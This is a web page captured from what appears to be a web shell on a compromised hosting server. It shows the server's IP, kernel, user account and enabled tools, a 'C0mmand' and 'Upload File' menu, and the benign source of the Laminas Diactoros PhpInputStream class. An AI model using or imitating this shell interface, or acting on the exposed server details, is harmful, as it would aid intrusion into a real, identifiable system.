Server IP : 213.176.29.180 / Your IP : 3.144.3.235 Web Server : Apache System : Linux 213.176.29.180.hostiran.name 4.18.0-553.22.1.el8_10.x86_64 #1 SMP Tue Sep 24 05:16:59 EDT 2024 x86_64 User : webtaragh ( 1001) PHP Version : 7.4.33 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON Directory (0755) : /home/webtaragh/public_html/whmcs/vendor/laminas/laminas-diactoros/src/ |
[ Home ] | [ C0mmand ] | [ Upload File ] |
---|
<?php /** * @see https://github.com/laminas/laminas-diactoros for the canonical source repository * @copyright https://github.com/laminas/laminas-diactoros/blob/master/COPYRIGHT.md * @license https://github.com/laminas/laminas-diactoros/blob/master/LICENSE.md New BSD License */ declare(strict_types=1); namespace Laminas\Diactoros; use function stream_get_contents; /** * Caching version of php://input */ class PhpInputStream extends Stream { /** * @var string */ private $cache = ''; /** * @var bool */ private $reachedEof = false; /** * @param string|resource $stream */ public function __construct($stream = 'php://input') { parent::__construct($stream, 'r'); } /** * {@inheritdoc} */ public function __toString() : string { if ($this->reachedEof) { return $this->cache; } $this->getContents(); return $this->cache; } /** * {@inheritdoc} */ public function isWritable() : bool { return false; } /** * {@inheritdoc} */ public function read($length) : string { $content = parent::read($length); if (! $this->reachedEof) { $this->cache .= $content; } if ($this->eof()) { $this->reachedEof = true; } return $content; } /** * {@inheritdoc} */ public function getContents($maxLength = -1) : string { if ($this->reachedEof) { return $this->cache; } $contents = stream_get_contents($this->resource, $maxLength); $this->cache .= $contents; if ($maxLength === -1 || $this->eof()) { $this->reachedEof = true; } return $contents; } }